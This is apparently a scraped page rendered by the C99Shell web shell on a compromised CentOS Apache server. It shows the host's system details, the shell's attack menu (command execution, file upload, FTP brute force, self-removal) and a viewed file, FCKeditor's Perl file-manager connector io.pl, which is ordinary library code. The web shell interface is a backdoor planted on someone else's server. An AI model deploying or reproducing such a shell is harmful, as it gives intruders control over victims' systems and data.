!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/lib/fckeditor/editor/filemanager/connectors/perl/   drwxr-xr-x
Free 9.29 GB of 93.48 GB (9.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     io.pl (2.85 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#####
#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
#  Copyright (C) 2003-2009 Frederico Caldeira Knabben
#
#  == BEGIN LICENSE ==
#
#  Licensed under the terms of any of the following licenses at your
#  choice:
#
#   - GNU General Public License Version 2 or later (the "GPL")
#     http://www.gnu.org/licenses/gpl.html
#
#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
#     http://www.gnu.org/licenses/lgpl.html
#
#   - Mozilla Public License Version 1.1 or later (the "MPL")
#     http://www.mozilla.org/MPL/MPL-1.1.html
#
#  == END LICENSE ==
#
#  This is the File Manager Connector for Perl.
#####

sub GetUrlFromPath
{
    local($resourceType, $folderPath) = @_;

    if($resourceType eq '') {
        $rmpath = &RemoveFromEnd($GLOBALS{'UserFilesPath'},'/');
        return("$rmpath$folderPath");
    } else {
        return("$GLOBALS{'UserFilesPath'}$resourceType$folderPath");
    }
}

sub RemoveExtension
{
    local($fileName) = @_;
    local($path, $base, $ext);
    if($fileName !~ /\./) {
        $fileName .= '.';
    }
    if($fileName =~ /([^\\\/]*)\.(.*)$/) {
        $base = $1;
        $ext  = $2;
        if($fileName =~ /(.*)$base\.$ext$/) {
            $path = $1;
        }
    }
    return($path,$base,$ext);

}

sub ServerMapFolder
{
    local($resourceType,$folderPath) = @_;

    # Get the resource type directory.
    $sResourceTypePath = $GLOBALS{'UserFilesDirectory'} . $resourceType . '/';

    # Ensure that the directory exists.
    &CreateServerFolder($sResourceTypePath);

    # Return the resource type directory combined with the required path.
    $rmpath = &RemoveFromStart($folderPath,'/');
    return("$sResourceTypePath$rmpath");
}

sub GetParentFolder
{
    local($folderPath) = @_;

    $folderPath =~ s/[\/][^\/]+[\/]?$//g;
    return $folderPath;
}

sub CreateServerFolder
{
    local($folderPath) = @_;

    $sParent = &GetParentFolder($folderPath);
    # Check if the parent exists, or create it.
    if(!(-e $sParent)) {
        $sErrorMsg = &CreateServerFolder($sParent);
        if($sErrorMsg == 1) {
            return(1);
        }
    }
    if(!(-e $folderPath)) {
        if (defined $CHMOD_ON_FOLDER_CREATE && !$CHMOD_ON_FOLDER_CREATE) {
            mkdir("$folderPath");
        }
        else {
            umask(000);
            if (defined $CHMOD_ON_FOLDER_CREATE) {
                mkdir("$folderPath",$CHMOD_ON_FOLDER_CREATE);
            }
            else {
                mkdir("$folderPath",0777);
            }
        }

        return(0);
    } else {
        return(1);
    }
}

sub GetRootPath
{
#use Cwd;

#    my $dir = getcwd;
#    print $dir;
#    $dir  =~ s/$ENV{'DOCUMENT_ROOT'}//g;
#    print $dir;
#    return($dir);

#    $wk = $0;
#    $wk =~ s/\/connector\.cgi//g;
#    if($wk) {
#        $current_dir = $wk;
#    } else {
#        $current_dir = `pwd`;
#    }
#    return($current_dir);
use Cwd;

    if($ENV{'DOCUMENT_ROOT'}) {
        $dir = $ENV{'DOCUMENT_ROOT'};
    } else {
        my $dir = getcwd;
        $workdir =~ s/\/connector\.cgi//g;
        $dir  =~ s/$workdir//g;
    }
    return($dir);



}
1;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.004 ]--